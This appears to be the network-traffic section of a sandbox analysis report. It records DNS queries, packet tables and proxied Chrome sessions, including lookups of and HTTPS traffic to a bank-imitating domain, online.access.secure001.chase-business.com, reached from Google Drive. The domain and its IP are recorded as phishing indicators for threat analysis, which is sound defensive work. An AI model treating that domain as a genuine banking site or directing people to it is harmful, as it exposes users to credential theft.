Dec 20, 2024 01:22:18.441827059 CET	443	49921	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:18.442178011 CET	443	49921	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:18.442512989 CET	49921	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:18.442575932 CET	443	49921	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:18.442671061 CET	49921	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:18.487332106 CET	443	49921	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:19.104794025 CET	443	49921	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:19.104965925 CET	443	49921	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:19.105022907 CET	49921	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:19.105572939 CET	49921	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:19.105586052 CET	443	49921	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:19.106934071 CET	443	49897	142.250.181.132	192.168.2.4
Dec 20, 2024 01:22:19.107079983 CET	443	49897	142.250.181.132	192.168.2.4
Dec 20, 2024 01:22:19.107141018 CET	49897	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:22:19.109549999 CET	49897	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:22:19.109572887 CET	443	49897	142.250.181.132	192.168.2.4
Dec 20, 2024 01:22:19.110038042 CET	49926	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:19.110129118 CET	443	49926	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:19.110204935 CET	49926	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:19.110425949 CET	49926	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:19.110462904 CET	443	49926	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:20.674990892 CET	443	49926	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:20.675806046 CET	49926	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:20.675837040 CET	443	49926	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:20.676203966 CET	443	49926	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:20.676950932 CET	49926	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:20.677033901 CET	443	49926	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:20.677407026 CET	49926	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:20.719332933 CET	443	49926	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:21.231374979 CET	443	49926	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:21.231430054 CET	443	49926	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:21.231518984 CET	49926	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:21.231990099 CET	49926	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:21.232008934 CET	443	49926	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:22.004942894 CET	49932	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:22.004966021 CET	443	49932	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:22.006930113 CET	49932	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:22.007177114 CET	49932	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:22.007190943 CET	443	49932	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:22.050920963 CET	49933	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:22:22.050956011 CET	443	49933	142.250.181.110	192.168.2.4
Dec 20, 2024 01:22:22.051073074 CET	49933	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:22:22.051335096 CET	49933	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:22:22.051346064 CET	443	49933	142.250.181.110	192.168.2.4
Dec 20, 2024 01:22:23.462265968 CET	443	49932	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:23.462651968 CET	49932	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:23.462666988 CET	443	49932	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:23.463809967 CET	443	49932	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:23.464162111 CET	49932	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:23.464314938 CET	49932	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:23.464319944 CET	443	49932	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:23.464340925 CET	443	49932	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:23.518657923 CET	49932	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:23.940304041 CET	443	49933	142.250.181.110	192.168.2.4
Dec 20, 2024 01:22:23.940702915 CET	49933	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:22:23.940723896 CET	443	49933	142.250.181.110	192.168.2.4
Dec 20, 2024 01:22:23.941211939 CET	443	49933	142.250.181.110	192.168.2.4
Dec 20, 2024 01:22:23.941560030 CET	49933	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:22:23.941639900 CET	443	49933	142.250.181.110	192.168.2.4
Dec 20, 2024 01:22:23.941956997 CET	49933	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:22:23.941956997 CET	49933	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:22:23.941987038 CET	443	49933	142.250.181.110	192.168.2.4
Dec 20, 2024 01:22:24.126002073 CET	443	49932	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:24.126178026 CET	443	49932	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:24.126904011 CET	49932	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:24.127365112 CET	49932	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:24.127377033 CET	443	49932	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:24.129918098 CET	49940	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:24.129962921 CET	443	49940	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:24.130048037 CET	49940	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:24.130254984 CET	49940	443	192.168.2.4	188.119.66.154
Dec 20, 2024 01:22:24.130268097 CET	443	49940	188.119.66.154	192.168.2.4
Dec 20, 2024 01:22:24.750595093 CET	443	49933	142.250.181.110	192.168.2.4
Dec 20, 2024 01:22:24.751668930 CET	443	49933	142.250.181.110	192.168.2.4
Dec 20, 2024 01:22:24.751740932 CET	49933	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:22:25.599184036 CET	443	49940	188.119.66.154	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 01:21:04.238934994 CET	53	59024	1.1.1.1	192.168.2.4
Dec 20, 2024 01:21:04.250530005 CET	53	63821	1.1.1.1	192.168.2.4
Dec 20, 2024 01:21:07.441553116 CET	53	58970	1.1.1.1	192.168.2.4
Dec 20, 2024 01:21:07.634561062 CET	61697	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:21:07.634793997 CET	51946	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:21:07.773649931 CET	53	61697	1.1.1.1	192.168.2.4
Dec 20, 2024 01:21:07.773694992 CET	53	51946	1.1.1.1	192.168.2.4
Dec 20, 2024 01:21:09.485971928 CET	60930	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:21:09.486392975 CET	62974	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:21:09.623656988 CET	53	60930	1.1.1.1	192.168.2.4
Dec 20, 2024 01:21:09.624522924 CET	53	62974	1.1.1.1	192.168.2.4
Dec 20, 2024 01:21:12.622431040 CET	53	60469	1.1.1.1	192.168.2.4
Dec 20, 2024 01:21:12.623405933 CET	53	55899	1.1.1.1	192.168.2.4
Dec 20, 2024 01:21:13.538049936 CET	52957	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:21:13.538306952 CET	52432	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:21:13.675359964 CET	53	52957	1.1.1.1	192.168.2.4
Dec 20, 2024 01:21:13.675957918 CET	53	52432	1.1.1.1	192.168.2.4
Dec 20, 2024 01:21:18.510401964 CET	138	138	192.168.2.4	192.168.2.255
Dec 20, 2024 01:21:21.722532034 CET	53	53178	1.1.1.1	192.168.2.4
Dec 20, 2024 01:21:21.759354115 CET	56749	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:21:21.759510994 CET	61857	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:21:21.893250942 CET	53	59396	1.1.1.1	192.168.2.4
Dec 20, 2024 01:21:21.896831989 CET	53	56749	1.1.1.1	192.168.2.4
Dec 20, 2024 01:21:21.896969080 CET	53	61857	1.1.1.1	192.168.2.4
Dec 20, 2024 01:21:21.917066097 CET	53	50734	1.1.1.1	192.168.2.4
Dec 20, 2024 01:21:23.446031094 CET	53	60624	1.1.1.1	192.168.2.4
Dec 20, 2024 01:21:24.272212982 CET	53	55806	1.1.1.1	192.168.2.4
Dec 20, 2024 01:21:24.510931015 CET	53	53407	1.1.1.1	192.168.2.4
Dec 20, 2024 01:21:24.546015978 CET	53	60824	1.1.1.1	192.168.2.4
Dec 20, 2024 01:21:24.580018997 CET	53	64977	1.1.1.1	192.168.2.4
Dec 20, 2024 01:21:26.785111904 CET	61606	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:21:26.785315037 CET	57570	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:21:26.927988052 CET	53	57570	1.1.1.1	192.168.2.4
Dec 20, 2024 01:21:26.928205013 CET	53	61606	1.1.1.1	192.168.2.4
Dec 20, 2024 01:21:28.484595060 CET	52865	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:21:28.484745026 CET	51227	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:21:28.621712923 CET	53	52865	1.1.1.1	192.168.2.4
Dec 20, 2024 01:21:28.623198032 CET	53	51227	1.1.1.1	192.168.2.4
Dec 20, 2024 01:21:28.627367973 CET	53	57786	1.1.1.1	192.168.2.4
Dec 20, 2024 01:21:31.868278980 CET	51897	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:21:31.868448973 CET	56591	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:21:32.005291939 CET	53	51897	1.1.1.1	192.168.2.4
Dec 20, 2024 01:21:32.006822109 CET	53	56591	1.1.1.1	192.168.2.4
Dec 20, 2024 01:21:33.412595987 CET	57732	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:21:33.412769079 CET	61226	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:21:33.549562931 CET	53	57732	1.1.1.1	192.168.2.4
Dec 20, 2024 01:21:33.549583912 CET	53	61226	1.1.1.1	192.168.2.4
Dec 20, 2024 01:21:36.896032095 CET	55297	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:21:36.896199942 CET	49347	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:21:37.038458109 CET	53	55297	1.1.1.1	192.168.2.4
Dec 20, 2024 01:21:37.038541079 CET	53	49347	1.1.1.1	192.168.2.4
Dec 20, 2024 01:21:42.560266018 CET	65511	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:21:42.560419083 CET	59184	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:21:42.697760105 CET	53	65511	1.1.1.1	192.168.2.4
Dec 20, 2024 01:21:42.698555946 CET	53	59184	1.1.1.1	192.168.2.4
Dec 20, 2024 01:21:42.991753101 CET	53	60463	1.1.1.1	192.168.2.4
Dec 20, 2024 01:21:51.772680998 CET	53	63470	1.1.1.1	192.168.2.4
Dec 20, 2024 01:22:03.877355099 CET	53	53322	1.1.1.1	192.168.2.4
Dec 20, 2024 01:22:05.658430099 CET	53	60146	1.1.1.1	192.168.2.4
Dec 20, 2024 01:22:21.912906885 CET	52470	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:22:21.913044930 CET	62946	53	192.168.2.4	1.1.1.1
Dec 20, 2024 01:22:22.049848080 CET	53	52470	1.1.1.1	192.168.2.4
Dec 20, 2024 01:22:22.050163984 CET	53	62946	1.1.1.1	192.168.2.4
Dec 20, 2024 01:22:23.048394918 CET	53	59337	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 20, 2024 01:21:21.917130947 CET	192.168.2.4	1.1.1.1	c225	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 20, 2024 01:21:07.634561062 CET	192.168.2.4	1.1.1.1	0x6452	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:21:07.634793997 CET	192.168.2.4	1.1.1.1	0x3702	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 20, 2024 01:21:09.485971928 CET	192.168.2.4	1.1.1.1	0xe245	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:21:09.486392975 CET	192.168.2.4	1.1.1.1	0x4674	Standard query (0)	drive.google.com	65	IN (0x0001)	false
Dec 20, 2024 01:21:13.538049936 CET	192.168.2.4	1.1.1.1	0x151e	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:21:13.538306952 CET	192.168.2.4	1.1.1.1	0x8933	Standard query (0)	drive.google.com	65	IN (0x0001)	false
Dec 20, 2024 01:21:21.759354115 CET	192.168.2.4	1.1.1.1	0xf79f	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:21:21.759510994 CET	192.168.2.4	1.1.1.1	0x3c55	Standard query (0)	play.google.com	65	IN (0x0001)	false
Dec 20, 2024 01:21:26.785111904 CET	192.168.2.4	1.1.1.1	0x6e0b	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:21:26.785315037 CET	192.168.2.4	1.1.1.1	0xa5b4	Standard query (0)	play.google.com	65	IN (0x0001)	false
Dec 20, 2024 01:21:28.484595060 CET	192.168.2.4	1.1.1.1	0xdff4	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:21:28.484745026 CET	192.168.2.4	1.1.1.1	0x546e	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Dec 20, 2024 01:21:31.868278980 CET	192.168.2.4	1.1.1.1	0x6016	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:21:31.868448973 CET	192.168.2.4	1.1.1.1	0xd639	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Dec 20, 2024 01:21:33.412595987 CET	192.168.2.4	1.1.1.1	0x1c64	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:21:33.412769079 CET	192.168.2.4	1.1.1.1	0xb9ff	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 20, 2024 01:21:36.896032095 CET	192.168.2.4	1.1.1.1	0x941d	Standard query (0)	online.access.secure001.chase-business.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:21:36.896199942 CET	192.168.2.4	1.1.1.1	0x8cd0	Standard query (0)	online.access.secure001.chase-business.com	65	IN (0x0001)	false
Dec 20, 2024 01:21:42.560266018 CET	192.168.2.4	1.1.1.1	0xc416	Standard query (0)	online.access.secure001.chase-business.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:21:42.560419083 CET	192.168.2.4	1.1.1.1	0x76ce	Standard query (0)	online.access.secure001.chase-business.com	65	IN (0x0001)	false
Dec 20, 2024 01:22:21.912906885 CET	192.168.2.4	1.1.1.1	0x55d2	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:22:21.913044930 CET	192.168.2.4	1.1.1.1	0x5a36	Standard query (0)	play.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 20, 2024 01:21:07.773649931 CET	1.1.1.1	192.168.2.4	0x6452	No error (0)	www.google.com		142.250.181.132	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:21:07.773694992 CET	1.1.1.1	192.168.2.4	0x3702	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 20, 2024 01:21:09.623656988 CET	1.1.1.1	192.168.2.4	0xe245	No error (0)	drive.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:21:13.675359964 CET	1.1.1.1	192.168.2.4	0x151e	No error (0)	drive.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:21:21.896831989 CET	1.1.1.1	192.168.2.4	0xf79f	No error (0)	play.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:21:26.928205013 CET	1.1.1.1	192.168.2.4	0x6e0b	No error (0)	play.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:21:28.621712923 CET	1.1.1.1	192.168.2.4	0xdff4	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 01:21:28.621712923 CET	1.1.1.1	192.168.2.4	0xdff4	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:21:28.623198032 CET	1.1.1.1	192.168.2.4	0x546e	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 01:21:32.005291939 CET	1.1.1.1	192.168.2.4	0x6016	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 01:21:32.005291939 CET	1.1.1.1	192.168.2.4	0x6016	No error (0)	plus.l.google.com		142.250.181.46	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:21:32.006822109 CET	1.1.1.1	192.168.2.4	0xd639	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 01:21:33.549562931 CET	1.1.1.1	192.168.2.4	0x1c64	No error (0)	www.google.com		142.250.181.132	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:21:33.549583912 CET	1.1.1.1	192.168.2.4	0xb9ff	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 20, 2024 01:21:37.038458109 CET	1.1.1.1	192.168.2.4	0x941d	No error (0)	online.access.secure001.chase-business.com		188.119.66.154	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:21:42.697760105 CET	1.1.1.1	192.168.2.4	0xc416	No error (0)	online.access.secure001.chase-business.com		188.119.66.154	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:22:22.049848080 CET	1.1.1.1	192.168.2.4	0x55d2	No error (0)	play.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

https:

play.google.com

www.google.com

online.access.secure001.chase-business.com

apis.google.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49766	142.250.181.110	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:23 UTC	546	OUT	OPTIONS /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-encoding,content-type Origin: https://drive.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 00:21:24 UTC	531	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,content-encoding,content-type,origin Content-Type: text/plain; charset=UTF-8 Date: Fri, 20 Dec 2024 00:21:24 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49771	142.250.181.110	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:26 UTC	995	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 906 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=r8Lq2ANzwuDflYRM6TeLgv9nC-9gIuccZxxfGlxlt1WpLJ7GfT7p0V9HZqluJ4fRnA0IqTIvqRVqf3Vdrbw_qwVJ5ZM8ihn0ugFsH0ifT4aUR2ixD7WkAQX-dgGIs9KQBp8sjt5C6w7DIHs2CeckMWikOvdmxkZYzDQD-hTooaOfLlqpgVvHY_0
2024-12-20 00:21:26 UTC	906	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 34 36 35 34 30 38 32 30 30 37 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1734654082007",null,null,null,
2024-12-20 00:21:26 UTC	942	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=520=bib_bWMnK1YxI6DFE_yEeVKihjO0YgES48Ca8eFgs-D-5N3Pses3et8W20y90NGGawdNxO8Nk7tdFlttvcN8sBKIKjDAYyyxiMH8z7uDycO0eWEStG5jWvblBrKNagBk2b0U7TRK-SM-aB0OPdGNKGXMzPNdMb89QKVak_lPbErfbmkhnolM0o2L4tbiZac; expires=Sat, 21-Jun-2025 00:21:26 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Fri, 20 Dec 2024 00:21:26 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Fri, 20 Dec 2024 00:21:26 GMT Cache-Control: private Connection: close Transfer-Encoding: chunked
2024-12-20 00:21:26 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-12-20 00:21:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49776	142.250.181.110	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:26 UTC	991	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1539 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/binary Content-Encoding: gzip sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=r8Lq2ANzwuDflYRM6TeLgv9nC-9gIuccZxxfGlxlt1WpLJ7GfT7p0V9HZqluJ4fRnA0IqTIvqRVqf3Vdrbw_qwVJ5ZM8ihn0ugFsH0ifT4aUR2ixD7WkAQX-dgGIs9KQBp8sjt5C6w7DIHs2CeckMWikOvdmxkZYzDQD-hTooaOfLlqpgVvHY_0
2024-12-20 00:21:26 UTC	1539	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 0a 95 97 4d 6f dc 37 0e 87 bf ca c0 a7 16 18 38 92 f8 26 a2 a7 45 0f bb 40 5f 2e 5b a0 87 b1 b1 70 53 a7 35 ea c4 a9 db ec b6 fd f4 fb 23 45 4d 13 a7 40 1a 18 63 3d a0 28 92 12 25 4a ff d3 a9 1f 5f bd b9 bf ff db ff 4e 1f a7 cd c7 b6 fe ae af af 8f 7d fa f1 74 ba e8 46 ac c2 6d 36 72 bb f8 80 85 8b d3 e9 2d 97 fd f8 f6 60 6d ad bd e7 f1 f4 54 e3 ba 86 56 6b 5d cf b6 10 d3 e9 ea a2 fd ce 77 fc f0 7d d3 37 8f a3 7b fb e1 bf fa c7 fd 8b fe e2 f6 f9 ef 2f a5 e9 dd 8f 6f da 43 ff ee f9 e3 3d bf ec fd ce 74 3c b6 5f 1f 6e 7e fe ed e6 ea e2 9d 68 e4 2f a2 e9 5d d2 c5 ed 2b 28 5f 5d 7c f5 f0 c7 dd fd fd cd 33 b9 6c 87 4f be bd 7b f5 fd c3 ff 7e 39 7c fd cd a1 b7 cb f6 d9 01 02 e5 cf 0e bf 29 7f 7a f8 c7 eb d7 f7 b7 df de 7e f7 c5 dd af Data Ascii: Mo78&E@_.[pS5#EM@c=(%J_N}tFm6r-`mTVk]w}7{/oC=t<_n~h/]+(_]\|3lO{~9\|)z~
2024-12-20 00:21:26 UTC	942	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=520=hUX5GaA56DlGtp2jF5SjiewhFRLLcyhc9MR-ez7koqlYe7LwF26mU4ldhynhKAIImPwwICfUVHjnqp20yORDAEDwEZr8pVoCjsa-v_s6XIzKTEgIhLVrjS5BHRa_HZLme7W91CxB5H5p2TQQhxPnsokV3W4yT0UbqZOUlmwhQxIQC7LhCtIWuSBqCrEMu2E; expires=Sat, 21-Jun-2025 00:21:26 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Fri, 20 Dec 2024 00:21:26 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 